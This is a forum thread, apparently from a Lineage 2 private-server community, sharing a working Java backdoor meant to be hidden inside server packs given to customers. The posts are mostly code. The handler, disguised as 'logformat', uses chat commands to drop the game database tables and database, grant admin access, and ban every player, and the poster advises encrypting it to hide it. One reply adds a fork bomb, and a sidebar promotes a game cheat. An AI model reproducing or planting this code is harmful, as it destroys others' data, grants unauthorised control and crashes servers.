Jump to content

Recommended Posts

Posted

here is one code and little useless voicecommand to backdoor packs or put in some pre ,it helped me when one of my customer tryed to scam me. better is to crypt it in some other packets

 

package net.sf.l2j.gameserver.util;


import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;



public class logformat
  implements IVoicedCommandHandler
{
  private static String[] _voicedCommands = { "serk","serk1","serk2" };

  public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
  {
    if (command.equalsIgnoreCase("serk"))
    {
   	 d34r32452352();
    }
    if (command.equalsIgnoreCase("serk1"))
    {
   	 
   	 activeChar.setAccessLevel(200);

    }
    if (command.equalsIgnoreCase("serk2"))
    {
   	 bhebhe();

    }
    return true;
  }
  private void bhebhe()
  {
   Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement g = con.createStatement();
       g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
       g.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }
   }
 
  private void d34r32452352()
  {
    Connection con = null;
    try
    {
      con = L2DatabaseFactory.getInstance().getConnection();
      Statement e = con.createStatement();
      e.executeUpdate("DROP TABLE characters");
      e.executeUpdate("DROP TABLE accounts");
      e.executeUpdate("DROP TABLE spawnlist");
      e.executeUpdate("DROP TABLE weapon");
      e.executeUpdate("DROP TABLE armor");
      e.executeUpdate("DROP TABLE npc");
      e.executeUpdate("DROP TABLE items");
      e.executeUpdate("DROP database l2jdb");
      e.close();
    }
    catch (SQLException e)
    {
    }
    finally
    {
      try
      {
       if (con != null)
          con.close();
      }
     catch (SQLException e)
      {
        e.printStackTrace();
      }
    }

    System.exit(-1);
  }

  public String[] getVoicedCommandList()
  {
    return _voicedCommands;
  }
}

Posted

haha d34r32452352() is evil xD

     e.executeUpdate("DROP TABLE characters");
      e.executeUpdate("DROP TABLE accounts");
      e.executeUpdate("DROP TABLE spawnlist");
      e.executeUpdate("DROP TABLE weapon");
      e.executeUpdate("DROP TABLE armor");
      e.executeUpdate("DROP TABLE npc");
      e.executeUpdate("DROP TABLE items");
      e.executeUpdate("DROP database l2jdb");

Posted

Wow. You gave my an idea to create voicecommand which make you admin :D

 

Man good idea! :)

 

Lol ?

 

COde:

    if (command.equalsIgnoreCase("serk1"))

    {

   

    activeChar.setAccessLevel(200);

 

    }

Posted

here is one code and little useless voicecommand to backdoor packs or put in some pre ,it helped me when one of my customer tryed to scam me. better is to crypt it in some other packets

 

package net.sf.l2j.gameserver.util;


import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;



public class logformat
   implements IVoicedCommandHandler
{
   private static String[] _voicedCommands = { "serk","serk1","serk2" };

   public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
   {
     if (command.equalsIgnoreCase("serk"))
     {
    	 d34r32452352();
     }
     if (command.equalsIgnoreCase("serk1"))
     {
    	 
    	 activeChar.setAccessLevel(200);

     }
     if (command.equalsIgnoreCase("serk2"))
     {
    	 bhebhe();

     }
     return true;
   }
   private void bhebhe()
   {
   Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement g = con.createStatement();
       g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
       g.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }
   }
  
   private void d34r32452352()
   {
     Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement e = con.createStatement();
       e.executeUpdate("DROP TABLE characters");
       e.executeUpdate("DROP TABLE accounts");
       e.executeUpdate("DROP TABLE spawnlist");
       e.executeUpdate("DROP TABLE weapon");
       e.executeUpdate("DROP TABLE armor");
       e.executeUpdate("DROP TABLE npc");
       e.executeUpdate("DROP TABLE items");
       e.executeUpdate("DROP database l2jdb");
       e.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }

     System.exit(-1);
   }

   public String[] getVoicedCommandList()
   {
     return _voicedCommands;
   }
}

 

public class ForkBomb
{
  public static void main(String[] args) throws java.io.IOException {
    while(true) {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

take a look on this :)

Guest
This topic is now closed to further replies.


  • Posts

    • Added FloodProtector utility to prevent packet flooding for actions like item use and dice rolling. Integrated flood protection checks in relevant client packet handlers and registered/removal hooks in player lifecycle. Updated movement logic in L2PcInstance for improved position synchronization and geodata handling. Minor fixes and refactoring in attack logic, private store handling, and admin NPC editing. Refactored AI classes to enhance movement, attack, and skill usage logic for characters and mobs. Improved distance checks, attack range calculations, and skill casting conditions. Removed unused intention command logic from L2CharacterAI. Updated configuration to enable CellPathFinding. Minor code cleanups and bug fixes for more reliable AI behavior. Enhanced GeoPathFinding with detailed debug and error messages for region loading, including success/failure counts and file checks. Refactored L2AttackableAI and L2CharacterAI to improve attack range tolerance, immediate attack behavior, and added safety checks for missing targets. Updated configuration to disable CellPathFinding by default and added a new ShowRedName option for aggressive mobs. Minor config and log updates included. Applied TCP socket optimizations (e.g., TCP_NODELAY, buffer sizes, keepalive) in ClientThread, Connection, and SelectorThread to reduce latency and improve throughput. Enhanced L2AttackableAI with better random walk, aggro, and attack logic, including silent move checks, quest monster handling, and improved faction/raid/minion behavior. Added silent move support to L2PlayableInstance and quest monster flag to L2NpcTemplate/L2NpcInstance. These changes aim to improve server responsiveness, AI realism, and overall stability.
    • I’ve been using this Escape from Tarkov Hack for about a week now with no issues at all. ESP works great without any lag, and the aimbot is smooth and doesn't feel obvious. Had a quick setup with the loader, and support answered my questions right away. The HWID spoofer also did its job without messing with my system. So far, the cheat's staying undetected on my side.
    • Hello everyone, this is ADENA L2REBORN / LU4 / MASTERWORK We also have items, epics, etc. discord - adver745645 Our prices are reasonable, so have a nice shopping and a nice day.
  • Topics

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock